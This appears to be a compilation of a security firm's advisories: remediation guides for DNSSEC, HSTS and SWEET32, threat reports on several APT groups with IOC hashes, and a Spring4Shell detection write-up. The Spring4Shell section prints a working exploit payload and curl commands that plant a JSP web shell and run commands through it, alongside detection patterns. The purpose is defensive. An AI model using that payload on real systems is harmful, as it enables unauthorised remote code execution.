Categories
Cybersecurity Advisories

Finding: DNSSEC Not Enabled on Azure DNS Zones

Finding: DNSSEC Not Enabled on Azure DNS Zones

Description:
DNSSEC (Domain Name System Security Extensions) provides origin authentication and integrity for DNS data, helping prevent attacks like DNS spoofing and cache poisoning. By default, Azure DNS zones do not have DNSSEC enabled unless explicitly configured. This exposes DNS clients to potential risks if responses are intercepted or forged. Failing to implement DNSSEC undermines the trust and reliability of the DNS infrastructure supporting your services.

Remediation: Enable DNSSEC on Azure DNS Zones

Pre-Requisites

– You must be using Azure DNS for both the zone and the registrar. – Your zone must be hosted on Azure DNS, not a third-party service.

Step-by-Step Remediation

1. Log in to Azure Portal: Navigate to https://portal.azure.com and sign in with an account that has DNS Zone Contributor or higher permissions.

2. Navigate to DNS Zone: In the left-hand menu, go to ‘DNS zones’ and select the DNS zone you want to secure (e.g., example.com).

3. Enable DNSSEC: Under the Settings section, select ‘DNSSEC’ and click ‘Enable DNSSEC’. Azure will automatically generate Key Signing Keys (KSK) and Zone Signing Keys (ZSK).

4. Verify the Zone Type: Azure DNSSEC works only for public DNS zones. Private DNS zones are not currently supported.

5. Complete Registrar Configuration: If the domain was registered through Azure, DS record submission is automatic. If not, manually retrieve the DS record and update it at your registrar.

6. Save and Propagate: Ensure changes are saved. Allow up to 24 hours for DNSSEC validation to propagate.

Verification: DNSSEC Successfully Enabled

Option 1: Using Dig (Command Line)

Run the following command and look for RRSIG records and a valid AD (Authenticated Data) flag:

               dig + dnssec example.com

Option 2: Using DNSViz Tool

Visit: https://dnsviz.net/ Enter your domain (e.g., example.com), click “Analyze”, and confirm the DNSSEC chain of trust is complete and error-free.

Option 3: Using Azure Portal

Return to the DNSSEC tab in your DNS zone. Confirm DNSSEC status shows as Enabled and KSK/ZSK status is Active.

Note
Azure currently does not support DNSSEC with external registrars or customer-managed keys. Always back up DNS configurations before making changes to production zones.

Categories
Cybersecurity Advisories

Remediation Plan: Strict Transport Security Not Enforced (RFC 6797 – CWE-523)

Finding: Strict Transport Security Not Enforced (RFC 6797) – CWE-523

Description:
The web server is not enforcing HTTP Strict Transport Security (HSTS), a critical web security policy mechanism defined in RFC 6797. HSTS allows web servers to declare that user agents (e.g., browsers) should only interact with it over secure HTTPS connections, thereby preventing downgrade attacks and cookie hijacking over insecure HTTP.

Risk:
Without HSTS, users may unknowingly make HTTP requests, exposing session cookies and sensitive data to interception via man-in-the-middle (MITM) attacks. Attackers can exploit this gap especially on open or public Wi-Fi networks.

CWE-523: Unprotected Transport of Credentials
This vulnerability is related to the transport of credentials and other sensitive data without enforcing a secure channel.

Remediation Plan for IIS

Objective:
Enable and enforce HTTP Strict Transport Security (HSTS) on IIS-hosted websites to ensure all communication occurs over HTTPS.

Step 1: Prerequisites

– Confirm the site is already served over HTTPS with a valid SSL/TLS certificate.
– Ensure all HTTP requests are redirected to HTTPS to avoid mixed content or accessibility issues.

Step 2: Add HSTS via HTTP Response Headers

  • Option A: Using IIS Manager (GUI)
  1. Open IIS Manager.
    2. Navigate to your site under ‘Sites’.
    3. Double-click HTTP Response Headers.
    4. Click Add… and input:
    – Name: Strict-Transport-Security
    – Value: max-age=31536000; includeSubDomains; preload
    5. Click OK to apply.
  • Option B: Using Web.config

Add the following inside the <system.webServer> section of your Web.config:

<httpProtocol>
  <customHeaders>
    <add name=”Strict-Transport-Security” value=”max-age=31536000; includeSubDomains; preload” />
  </customHeaders>
</httpProtocol>

Explanation of Header Components:
– max-age=31536000: Enforce HTTPS for 1 year (in seconds).
– includeSubDomains: Apply policy to all subdomains.
– preload: Indicates intent to submit the domain to HSTS preload lists.

Step 3: Redirect HTTP to HTTPS

  • Option A: HTTP Redirect in IIS

– Select the site, go to HTTP Redirect, enable it, and set the destination to your HTTPS URL.

  • Option B: Rewrite Rules

Use the URL Rewrite module:

<rewrite>
  <rules>
    <rule name=”Redirect to HTTPS” stopProcessing=”true”>
      <match url=”(.*)” />
      <conditions>
        <add input=”{HTTPS}” pattern=”off” ignoreCase=”true” />
      </conditions>
      <action type=”Redirect” url=”https://{HTTP_HOST}/{R:1}” redirectType=”Permanent” />
    </rule>
  </rules>
</rewrite>

Step 4: Test Implementation

Use tools such as:
– SSL Labs (https://www.ssllabs.com/ssltest/)
– curl -I https://yourdomain.com (Confirm presence of the Strict-Transport-Security header)

Step 5: (Optional) Submit Domain to HSTS Preload List

Once the policy is stable, you may submit the domain at:
https://hstspreload.org/

Verification: How to Confirm HSTS is Properly Enforced

After implementing the HSTS policy, it’s important to validate that the configuration is correctly applied and functioning as intended. Use the following steps to confirm the remediation:

  1. Use curl to inspect the response headers:

Run the following command:
`curl -I https://yourdomain.com`
Look for the `Strict-Transport-Security` header in the output. It should match the expected value:
`Strict-Transport-Security: max-age=31536000; includeSubDomains; preload`

  1. Use SSL Labs Test:

– Visit: https://www.ssllabs.com/ssltest/
– Enter your domain and start the test.
– Check the ‘HTTP Strict Transport Security (HSTS)’ section to verify correct setup.

  1. Use a browser with developer tools:

– Open your site in Chrome or Firefox.
– Open Developer Tools (F12), go to the Network tab.
– Refresh the page and click on your HTTPS request.
– Check the ‘Response Headers’ for the presence of `Strict-Transport-Security`.

  1. Test HTTP to HTTPS redirection:

– Navigate to http://yourdomain.com (without HTTPS).
– Confirm that it automatically redirects to https://yourdomain.com using a 301 or 302 status code.

  1. Optional: Check HSTS preload status:

– Visit: https://hstspreload.org/
– Enter your domain to check preload status or submit it for inclusion.

Categories
Cybersecurity Advisories

Remediation Guidance: SWEET32 Vulnerability on IIS (Windows Server 2019)

Finding: SWEET32 (CVE-2016-2183) 

The SWEET32 vulnerability affects SSL/TLS protocols that use 64-bit block ciphers, specifically 3DES (Triple DES) and IDEA. These ciphers are susceptible to birthday attacks when large volumes of data are transmitted over a persistent connection, potentially allowing an attacker to recover parts of plaintext traffic. IIS servers with 3DES enabled are affected. 

Remediation for IIS on Windows Server 2019 

Windows Server 2019 supports TLS 1.2 and 1.3 by default, along with modern AES-based cipher suites. However, 3DES may still be enabled for legacy compatibility and must be disabled to fully remediate SWEET32. 

Step 1: Disable 3DES via the Windows Registry 

Navigate to the following registry key and create or set the value as below: 
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphersTriple DES 168nnSet the DWORD value ‘Enabled’ to 0. 

Alternatively, create a .reg file with the following content and import it: 

Windows Registry Editor Version 5.00 
 
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphersTriple DES 168] 
“Enabled”=dword:00000000 

A system reboot is required for changes to take effect. 

Step 2: (Optional) Use IIS Crypto Tool 

To simplify cipher and protocol management, use the free Nartac IIS Crypto tool: 
• Download from https://www.nartac.com/Products/IISCrypto 
• Run the tool on the server 
• Select the ‘Best Practices’ template 
• Ensure 3DES and TLS 1.0/1.1 are disabled 
• Apply the changes and reboot the server 

Step 3: Verify Remediation and Confirm SWEET32 Is No Longer Present 

After applying the remediation steps and rebooting the server, verify that the SWEET32 vulnerability has been resolved. Use one of the following tools to confirm that 3DES is no longer supported: 

  • SSL Labs Server Test (recommended for public-facing servers):
    Visit https://www.ssllabs.com/ssltest/ and enter the domain name of the affected server. 
      Review the results to ensure 3DES is not listed among the supported cipher suites. 
  • Nmap (quick CLI-based check):
    Run the following command: 
      nmap –script ssl-enum-ciphers -p 443 [hostname or IP] 
      Look for 3DES or other 64-bit ciphers in the output. 
  • testssl.sh (thorough internal scan):
    Run the following command: 
      testssl.sh –vulnerable –cipher-per-proto –html customerDomain.com 
      This generates an HTML report showing all supported ciphers and any related vulnerabilities, including SWEET32. 
Categories
Cybersecurity Advisories

Phishing Campaigns Exploit Trusted MS Infrastructure

Threat actors are orchestrating highly targeted phishing campaigns that exploit Microsoft 365’s own trusted infrastructure to bypass traditional email security tools. Leveraging legitimate Exchange Online IPs and services like SharePoint, OneDrive, and Office 365-branded login portals, these campaigns are particularly effective at evading detection and deceiving end-users.

Key Tactics Observed Across Campaigns

Abuse of Microsoft IP Space

Attackers are sending phishing emails directly from compromised or attacker-owned Microsoft 365 tenants, making the emails appear legitimate to email security gateways and email filters. Since these emails originate from Microsoft’s IP ranges and pass SPF, DKIM, and DMARC, they’re often automatically trusted.

Use of Microsoft Services in Payload Delivery

Phishing emails frequently include links to:

  • SharePoint-hosted documents with embedded phishing links
  • OneDrive URLs leading to weaponized files or credential-harvesting sites
  • Office 365 login pages that look pixel-perfect but harvest credentials

These links are hosted on Microsoft domains, which makes them especially hard to detect and block. URLs such as 1drv.ms, sharepoint.com, and *.onmicrosoft.com are widely seen in these campaigns.

Targeting and Credential Theft

The campaigns are increasingly targeting high-value users—like executives, financial officers, and IT administrators. Once credentials are harvested, attackers often:

  • Pivot within the organization
  • Launch internal phishing using trusted email threads
  • Access sensitive data or set up OAuth apps for persistent access

Campaign Variants Identified

  • “Fax” or “Voicemail” notifications leading to credential harvesting pages
  • “Encrypted document” or “shared invoice” baits, hosted on SharePoint
  • OAuth abuse where victims grant permissions to malicious apps that maintain access without re-authentication

Why This Works So Well

  • Microsoft infrastructure is trusted by default in many organizations
  • Authentication headers are valid (SPF, DKIM, DMARC all green)
  • URL scanning often skips known-good domains
  • Users are trained to trust Microsoft-branded emails

What Organizations Should Do

Harden Microsoft 365

  • Enable Safe Links and Safe Attachments
  • Use Mail Flow (Transport) Rules to flag external use of Microsoft domains
  • Configure Defender for Office 365 with aggressive anti-phishing and impersonation policies

Educate End Users

  • Provide real-world examples of SharePoint/OneDrive abuse
  • Train users to treat “legitimate-looking” Microsoft prompts with caution
  • Highlight red flags like unexpected MFA requests or login prompts after clicking shared files

Monitor for Suspicious OAuth Activity

  • Review App registrations and third-party app consent
  • Enable consent governance policies and block risky app behaviors

Leverage Threat Intelligence & Hunting

  • Monitor Microsoft logs for anomalous login patterns
  • Watch for emails with links to sharepoint.com, onmicrosoft.com, or 1drv.ms
  • Utilize advanced hunting queries in Defender or Sentinel

These attacks demonstrate that relying solely on default trust settings is no longer a viable security strategy. Organizations must fundamentally shift their mindset, treating even familiar Microsoft services with a degree of skepticism. A proactive approach, combining technical controls with user awareness, is essential to effectively defend against these sophisticated and rapidly evolving phishing tactics.

Categories
Cybersecurity Advisories Uncategorized

Vulnerability in XZ Utils Data Compression Library Impacting Multiple Linux Distributions (CVE-2024-3094)

Description of the vulnerability per NIST:

“Malicious code was discovered in the upstream tarballs of xz, starting with version 5.6.0. Through a series of complex obfuscations, the liblzma build process extracts a prebuilt object file from a disguised test file existing in the source code, which is then used to modify specific functions in the liblzma code. This results in a modified liblzma library that can be used by any software linked against this library, intercepting, and modifying the data interaction with this library.”

This vulnerability was intentionally induced by a supply chain attack. Starting in 2021, a suspected Threat Actor started to submit patches to open-source project on GITHUB, eventually focusing on the XZ Utils repository and becoming a co-developer. A fuller timeline of events can be found here. The backdoor/vulnerability was fully introduced in versions 5.6.0 and 5.6.1 of xz utils in February. Most production Linux distributions have not adopted these patches, but please check the following section to confirm that no affected versions are present in your environment.

Affected & Fixed Versions

Recommendations and Mitigations

SecurIT360 Managed SOC Clients:

  • For all active managed SOC EDR clients, we have checked our inventory across products and have already reached out if you have an affected Linux distribution.
  • For all active managed SOC MDR clients, we have also run an external Nessus vulnerability scan looking for affected versions and have again already reached out to any and all affected clients.

Otherwise, if you have any Linux endpoint that we do not monitor that you are concerned may be affected by this vulnerability, you can run a simple command of “xz –version” or “xz ultis –version” on these endpoints to confirm your versioning on the endpoint in question:

If any of your endpoints do presently use 5.6.0 and 5.6.1 of XZ Utils, we would recommend either updating or downgrading packages per the table above. For the case of Fedora 40-41 and Rawhide specifically the recommendation from Red Hat would be to power-down or stop using Rawhide for the time being, and to move to packages 5.4.X for Fedora 40-41. See Red Hat’s blog post on the subject for more information.

Resources & Related Articles

Categories
Cybersecurity Advisories

Russia-linked Midnight Blizzard Cyberattack: Awareness and Guidance

Given the recent report from Microsoft regarding a cyber-attack on their organization by Russian state-sponsored hacking group, Midnight Blizzard, our SOC Team wanted to raise awareness concerning Threat Actor behavior related to Entra ID (formerly Azure ID) app registrations/app consent per what we have been seeing in the news and in the wild.

You can read Microsoft’s report detailing this behavior that was observed during their own recent compromise by this threat actor group: https://www.microsoft.com/en-us/security/blog/2024/01/25/midnight-blizzard-guidance-for-responders-on-nation-state-attack/

This post explains that the threat actor group “Midnight Blizzard” gained access to an account through a password spray and then leveraged existing OAuth applications and created additional applications to escalate privileges and compromise additional accounts.

Our DFIR team has also seen similar behavior recently during BEC investigations, where compromised account gave consent to a specific third-party application called “PerfectData Software” likely in an attempt to exfil mailbox data.

See the following link for additional information on this specific behavior: How Abuse of ‘PerfectData Software’ May Create a Perfect Storm: An Emerging Trend in Account Takeovers | Darktrace Blog

The following will detail the actions we are detecting on our end to better detect this type of post-compromise behavior related to app consent grants/permissions/registrations and how we recommend you can mitigate this type of attack in your environment.

SecurIT360 SOC Managed Services

Last week, our managed SOC services rolled out a new alert that will detect the creation of a service principal that looks for “PerfectData Software” specifically. A service principal in Entra ID (Formerly Azure AD) is an identify created to manage access for applications, hosted services, and/or automated tools.

We also plan to create an additional rule or rules to provide auditing for application management within our Monthly MDR reports. 

Additionally, as always, we will continue to provide monitoring and alerting concerning initial access by looking for possible password sprays, MFA bombing, suspicious logins, etc. to attempt to prevent this sort of behavior before it happens. However, as we believe in a defense in depth approach, we will continue to expand and refine our post-access detection capabilities through the rules mentioned above. 

Please feel free to contact the SOC via email at soc@securit360.com if you have any questions or concerns.  

Mitigation Recommendations

By default, users are allowed to register applications and give consent to third party applications. This means that if a Threat Actor compromises a standard user account they can give consent to apps or register apps, without having any admin permissions or an admin being notified.

However, you can restrict this behavior by editing default role permissions and require admin consent to be given before a user gives access to an application.  We strongly recommend you adjust this default permission and review all active registrations ASAP.

How to Change Default Permissions

  1. In order to restrict default user role permissions, within the Azure portal you can go to Microsoft Entra ID -> Users -> User settings and change the slider for “Users can register applications” to “No”:

See the following Microsoft KB article to learn more about default user permissions: Default user permissions – Microsoft Entra | Microsoft Learn

  1. To turn off or edit a user’s ability to grant consent to third part applications you can go to the Microsoft Entra admin center -> Identity- > Applications -> Enterprise applications -> Consent and permissions -> User consent settings.

  2. You can also configure a workflow that would allow admins to consent on behalf of users: Configure the admin consent workflow – Microsoft Entra ID | Microsoft Learn

Review Existing App Registrations

Once the permissions have been changed, perform a review of all current App Registrations within your Azure/Entra ID environment and consider disabling all of them that are not approved.

Additionally, as we saw in the Microsoft case, regular auditing of app registrations and permissions in addition to similar auditing for user accounts is always recommended and an important part of lowering the potential impact of an account compromise.

Please let us know if you have additional questions or concerns. We are always happy to help you adjust in response to new or emerging threats.

Ready to make cybersecurity your strength, not your weakness? Contact us today and let’s build a safer, more secure digital future for your business.

Categories
Cybersecurity Advisories

Flax Typhoon APT Group Using LOLBins for Cyber Espionage

A China-backed hacking group, tracked as Flax Typhoon, is targeting government agencies and education, critical manufacturing, and information technology organizations likely for espionage purposes. The nation-state actor intends to perform espionage and maintain access to organizations across a broad range of industries for as long as possible. However, final objectives in this campaign have not been observed. Currently, Taiwanese organizations are exclusively being affected, but the scope of attacks aren’t fully known. Microsoft states that the distinctive pattern of malicious activity could be easily reused in other operations outside the region and would benefit from broader industry visibility. Because of this, enterprises beyond Taiwan should be on alert.

Flax Typhoon has been active since mid-2021 and focuses on persistence, lateral movement, and credential access. The threat actors do not primarily rely on malware to gain and maintain access to the victim network, instead, they prefer using mostly components already available on the operating system, LOLBins, and legitimate software. In the campaign observed, Flax Typhoon gained initial access by exploiting known vulnerabilities in public-facing servers, including VPN, web, Java, and SQL applications. The threat actors dropped China Chopper, a powerful web shell that provides remote code execution capabilities. If necessary, the hackers elevate their privileges to administrator level using the publicly available ‘Juicy Potato’ and ‘BadPotato’ open-source tools that exploit known vulnerabilities to obtain higher permissions.

Flax Typhoon establishes persistence by turning off network-level authentication through registry modifications and exploiting the Windows Sticky Keys accessibility feature to set up an RDP connection. To avoid RDP connectivity restrictions of RDP to internal network, Flax Typhoon installs a legitimate VPN bridge to maintain the link between the compromised system and their external server. The attackers download the open-source SoftEther VPN client using LOLBins like PowerShell Invoke-WebRequest utility, certutil, or bitsadmin, and abuse various built-in Windows tools to set the VPN app to launch automatically on system startup. To avoid being detected, the hackers rename it to legitimate Windows components such as ‘conhost.exe’ or ‘dllhost.exe.’ Additionally, Flax Typhoon uses SoftEther’s VPN-over-HTTPS mode to conceal VPN traffic as standard HTTPS traffic.

Researchers have noted that Flax Typhoon frequently uses the Mimikatz tool to extract credentials from LSASS process memory and the SAM registry. The stolen credentials were not observed to extract additional data, making the adversary’s main objective currently unclear.

Flax Typhoon Attack Chain

SecurIT360 SOC Managed Services 

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity: 

MDR Services 

  • We utilize several threat feeds that are updated frequently on a daily basis.
  • In addition to our automatic threat feeds, we have added indicators related to known malicious threat actors into our MDR solution, FortiSIEM.

EDR Services 

  • In addition to ongoing vendor IoC updates, we have implemented known IoC information to help with detection. 

Indicators are provided in the Indicators of Compromise section below for your reference.

As always, if we detect activity related to these exploits, we will alert you when applicable. 

Mitigation & Protection

  • Defending against techniques used by Flax Typhoon begins with vulnerability and patch management, particularly on systems and services exposed to the public internet. The credential access techniques used can also be mitigated with proper system hardening.
  • Affected organizations need to assess the scale of Flax Typhoon activity in their network, remove malicious tools and C2 infrastructure, and check logs for signs of compromised accounts that may have been used for malicious purposes.

Recommendations

  • Microsoft recommends organizations to apply the latest security updates to internet-exposed endpoints and public-facing servers, and MFA should be enabled on all accounts.
  • Registry monitoring could help catch modification attempts and unauthorized changes like those performed by Flax Typhoon to disable NLA.

MITRE Summary

T1003 (OS Credential Dumping)
T1003.001 (LSASS Memory)
T1005 (Data from Local System)
T1018 (Remote System Discovery)
T1041 (Exfiltration Over C2 Channel)
T1068 (Exploitation for Privilege Escalation)
T1105 (Ingress Tool Transfer)


IOCS

 

 

 

 

 

 

Resources & Related Articles

Categories
Cybersecurity Advisories

Volt Typhoon Detection and Mitigation

Alert Code: AA23-144A

The NSA, CISA, FBI, ACSC, CCCS, NCSC-NZ, and NCSC-UK have released a joint cybersecurity advisory regarding a recently unveiled adversary activity of the China-linked nation-backed APT group tracked as Volt Typhoon. The state-sponsored group has been reported spying on a range of U.S. critical infrastructure organizations, from telecommunications to transportation hubs and is part of a U.S. disinformation campaign.

Although espionage seems to be the goal, Microsoft assesses with moderate confidence that this campaign is pursuing development of capabilities that could disrupt critical communications infrastructure between the United States and Asia region during future crises.

The initial attack vector is the compromise of Internet-exposed Fortinet FortiGuard devices by exploiting an unknown zero-day vulnerability. A primary TTP used by the actor is living off the land which utilizes built-in network administration tools to perform their objectives. This allows the actor to evade detection by blending in with normal Windows system and network activities, avoid endpoint detection and response (EDR) products that would alert on the introduction of third-party applications to the host, and limit the amount of activity that is captured in default logging configurations. Built-in tools that are used by the actor include wmic, ntdsutil, netsh, and PowerShell. However, threat actors were also seen using open-source tools such as Fast Reverse Proxy (frp), the Mimikatz credential-stealing tool, and the Impacket networking framework.

To blend in with legitimate network traffic and evade detection, Volt Typhoon employs compromised small office and home office (SOHO) network equipment from ASUS, Cisco, D-Link, Netgear, FatPipe, and Zyxel, such as routers, firewalls, and VPN appliances. If privileged access is obtained after compromising the Fortinet devices, the attackers can dump credentials through the LSASS. This allows them to deploy Awen-based web shells for data exfiltration and persistence on the hacked systems.

Persistent focus on critical infrastructure indicates preparation for disruptive or destructive cyber-attacks and hints at a collective effort to provide China with access in the event of a future conflict between the two countries. Microsoft proactively reached out to all customers that were either targeted or compromised in these attacks to provide them with the information required to secure their networks from future hacking attempts.

Volt Typhoon attack flow

SecurIT360 SOC Managed Services 

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity: 

MDR Services 

  • We utilize several threat feeds that are updated frequently on a daily basis
  • In addition to our automatic threat feeds, we have added indicators related to known malicious threat actors into our MDR solution, FortiSIEM.

EDR Services 

  • Carbon Black and Defender for Endpoint have announced Volt Typhoon related detections
  • In addition to ongoing vendor IoC updates, we have implemented known IoC information to help with detection. 

Indicators are provided in the Indicators of Compromise section below for your reference.

As always, if we detect activity related to these exploits, we will alert you when applicable. 

Victimology

Targets and breached entities span a wide range of critical sectors including government, maritime, communications, manufacturing, information technology, utilities, transportation, construction, and education.

Recommended Mitigations

  • Harden domain controllers and monitor event logs for ntdsutil.exe and similar process creations. Additionally, any use of administrator privileges should be audited and validated to confirm the legitimacy of executed commands.
  • Administrators should limit port proxy usage within environments and only enable them for the period of time in which they are required.
  • Investigate unusual IP addresses and ports in command lines, registry entries, and firewall logs to identify other hosts that are potentially involved in actor actions.
  • In addition to host-level changes, review perimeter firewall configurations for unauthorized changes and/or entries that may permit external connections to internal hosts.
  • Look for abnormal account activity, such as logons outside of normal working hours and impossible time-and-distance logons (e.g., a user logging on from two geographically separated locations at the same time).
  • Forward log files to a hardened centralized logging server, preferably on a segmented network.

MITRE Summary

Initial Access

  

Technique Title

ID

Use

Exploit Public-facing Application

T1190

Actor used public-facing applications to gain initial access to systems; in this case, Earthworm and PortProxy.

Execution

  

Windows Management Instrumentation

T1047

The actor executed WMIC commands to create a copy of the SYSTEM registry.

Command and Scripting Interpreter: PowerShell

T1059.001

The actor used a PowerShell command to identify successful logons to the host.

Command and Scripting Interpreter: Windows Command Shell

T1059.003

The actor used this primary command prompt to execute a query that collected information about the storage devices on the local host.

Persistence

  

Server Software Component: Web Shell

T1505.003

The actor used backdoor web servers with web shells to establish persistence to systems, including some of the webshells being derived from Awen webshell.

Defense Evasion

  

Hide Artifacts

T1546

The actor selectively cleared Windows Event Logs, system logs, and other technical artifacts to remove evidence of their intrusion activity.

Indicator Removal: Clear Windows Event Logs

T1070.001

The actor cleared system event logs to hide activity of an intrusion.

Credential Access

  

OS Credential Dumping: NTDS

T1003.003

The actor may try to exfiltrate the ntds.dit file and the SYSTEM registry hive out of the network to perform password cracking.

Brute Force

T1110

The actor attempted to gain access to accounts with multiple password attempts.

Brute Force: Password Spraying

T1110.003

The actor used commonly used passwords against accounts to attempt to acquire valid credentials.

OS Credential Dumping

T1003

The actor used additional commands to obtain credentials in the environment.

Credentials from Password Stores

T1555

The actors searched for common password storage locations.

Discovery

  

System Information Discovery

T1082

The actors executed commands to gather information about local drives.

System Owner/User Discovery

T1033

The actors gathered information about successful logons to the host using a PowerShell command.

Permission Groups Discovery: Local Groups

T1069.001

The actors attempt to find local system groups and permission settings.

Permission Groups Discovery: Doman Groups

T1069.002

The actors used commands to enumerate the active directory structure.

System Network Configuration Discovery

T1016

The actors used commands to enumerate the network topology.

Command and Control

  

Proxy

T1090

The actors used commands to enable port forwarding on the host.

Proxy: External Proxy

T1090.002

The actors used compromised SOHO devices (e.g. routers) to obfuscate the source of their activity.

IOCS

f4dd44bc19c19056794d29151a5b1bb76afd502388622e24c863a8494af147dd

ef09b8ff86c276e9b475a6ae6b54f08ed77e09e169f7fc0872eb1d427ee27d31

d6ebde42457fe4b2a927ce53fc36f465f0000da931cfab9b79a36083e914ceca

472ccfb865c81704562ea95870f60c08ef00bcd2ca1d7f09352398c05be5d05d

66a19f7d2547a8a85cee7a62d0b6114fd31afdee090bd43f36b89470238393d7

3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

41e5181b9553bbe33d91ee204fe1d2ca321ac123f9147bb475c0ed32f9488597

c7fee7a3ffaf0732f42d89c4399cbff219459ae04a81fc6eff7050d53bd69b99

3a9d8bb85fbcfe92bae79d5ab18e4bca9eaf36cea70086e8d1ab85336c83945f

fe95a382b4f879830e2666473d662a24b34fccf34b6b3505ee1b62b32adafa15

ee8df354503a56c62719656fae71b3502acf9f87951c55ffd955feec90a11484

baeffeb5fdef2f42a752c65c2d2a52e84fb57efc906d981f89dd518c314e231c

b4f7c5e3f14fb57be8b5f020377b993618b6e3532a4e1eb1eae9976d4130cc74

4b0c4170601d6e922cf23b1caf096bba2fade3dfcf92f0ab895a5f0b9a310349

c0fc29a52ec3202f71f6378d9f7f9a8a3a10eb19acb8765152d758aded98c76d

d6ab36cb58c6c8c3527e788fc9239d8dcc97468b6999cf9ccd8a815c8b4a80af

9dd101caee49c692e5df193b236f8d52a07a2030eed9bd858ed3aaccb406401a

450437d49a7e5530c6fb04df2e56c3ab1553ada3712fab02bd1eeb1f1adbc267

93ce3b6d2a18829c0212542751b309dacbdc8c1d950611efe2319aa715f3a066

7939f67375e6b14dfa45ec70356e91823d12f28bbd84278992b99e0d2c12ace5

389a497f27e1dd7484325e8e02bbdf656d53d5cf2601514e9b8d8974befddf61

c4b185dbca490a7f93bc96eefb9a597684fdf532d5a04aa4d9b4d4b1552c283b

e453e6efc5a002709057d8648dbe9998a49b9a12291dee390bb61c98a58b6e95

6036390a2c81301a23c9452288e39cb34e577483d121711b6ba6230b29a3c9ff

cd69e8a25a07318b153e01bba74a1ae60f8fc28eb3d56078f448461400baa984

17506c2246551d401c43726bdaec800f8d41595d01311cf38a19140ad32da2f4

8fa3e8fdbaa6ab5a9c44720de4514f19182adc0c9c6001c19cf159b79c0ae9c2

d17317e1d5716b09cee904b8463a203dc6900d78ee2053276cc948e4f41c8295

3e9fc13fab3f8d8120bd01604ee50ff65a40121955a4150a6d2c007d34807642

Resources & Related Articles

Categories
Cybersecurity Advisories

Spring4Shell Detection & Mitigation CVE-2022-22965

Description

Spring4Shell, or CVE-2022-22965, is a RCE (remote code execution) flaw in the “Spring framework”. Spring, as it is commonly known, is an open-source application framework that provides infrastructure support for developing Java applications. Basically, it helps you write Java applications. According to https://spring.io :

“…Spring is infrastructural support at the application level: Spring focuses on the “plumbing” of enterprise applications so that teams can focus on application-level business logic, without unnecessary ties to specific deployment environments.”

Currently, all versions of Spring are impacted, but the web application must be running on JDK version 9 (the local Java installation) for the application to be vulnerable.

The application must also be running on top of Apache Tomcat.

The impact here is that an application running on a web server will have certain permissions. Those permissions will vary greatly, depending on how the application is built and installed. You should always assume that the web services is running with root privileges until proven otherwise. With that in mind, this Remote Code Execution vulnerability would allow an unauthenticated attacker to run commands on the underlying web server with the permissions of the web service.

Image 1: Bad bad bad!

Detecting Exploitation

Understanding the Exploit

The vulnerability relies on the ability to traverse the properties of a java class from a query parameter and locate a file that the attacker can both write to and has meaning to the execution of the program.

You would then make a request like such:

curl 
‘http://localhost:8080/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test’

Example exploit code:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

The above creates a file called shell.jsp in the webapps/ROOT folder. One final command can be used to exploit the vulnerability:

curl http://localhost:8080/shell.jsp?cmd=whoami

Understanding Detection

Filename/Web Shell
The initial PoC used a filename called tomcatwar.jsp, however, this is trivial to change so any new .jsp files should be scrutinized.

Log sources: Web server OS-level logs, Web server (e.g. Apache Tomcat) logs, EDR logs

 

POST Requests
It may be possible to detect by inspecting POST requests. Look for requests that contain class.module.classLoader.resources.context.parent.pipeline.first in the url.

Generically, looking for *.jsp or *.class* may also help detect.

Log sources: Web server (e.g. Apache Tomcat) logs

 

Yara Rule
This yara rule is designed to detect JSP webshells and in particular references the possibility to detect webshells found after exploiting the Spring4Shell PoC:
https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar


SecurIT360 SOC Managed Services

If you utilize our SOC Managed Services, here are the actions we are taking to help detect this activity:

MDR Services

  • There is an MDR rule in place looking for traffic associated with known IP addresses, we are pulling from a GreyNoise Trends list.
  • A firewall block list is available if you would like to proactively block these IPs at your firewall – https://www.greynoise.io/viz/tag/spring-core-rce-attempt.
  • Nessus has released some plugins to help detect systems vulnerable to this exploit and we have incorporated these into your External Vulnerability Scans over the weekend. If we detect internet facing vulnerable systems in your environment, we will contact you directly.

EDR Services

  • We have incorporated known IOC information to help with detection, if we see activity related to this exploit, we will contact you directly.

Vulnerability Discovery

Here we are identifying affected systems.

For Nessus plugin ID 159374, “Spring Framework < 5.2.20 / 5.3.x < 5.3.18 Remote Code Execution (CVE-2022-22965),” users are required to enable the “Show potential false alarms” setting, also known as paranoid mode, in their scan policy in order to enable this plugin in a scan. In addition, the “Peform thorough tests” setting must be enabled as well.

We also recommend enabling only this specific plugin in a paranoid scan. Scan policies configured to have all plugins enabled will see an increase in the number of triggers, as it will include all paranoid plugins during the scan.

Enabling Paranoid and Thorough Tests Modes

To enable this setting for Nessus and Tenable.io users:

  1. Click Assessment > General > Accuracy
  2. Enable the “Show potential false alarms” option
  3. Enable the “Perform thorough tests (may disrupt your network or impact scan speed)” option

Plugin ID 159374 is available in feed serial 202203311743.

Mitigation

Patch
Temporary mitigation

To apply the temporary mitigation, applications could extend RequestMappingHandlerAdapter to update the WebDataBinder at the end after all other initialization. In order to do that, a Spring Boot application can declare a WebMvcRegistrations bean (Spring MVC) or a WebFluxRegistrations bean (Spring WebFlux). More details here: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Resources

Categories
Cybersecurity Advisories

Log4j Zero-Day Advisory

We would like to make you aware of a critical and widespread unauthenticated Remote Code Execution (RCE) vulnerability involving Apache’s Log4j Java logging library.

Update – December 28th, 2021 (CVE-2021-44832)
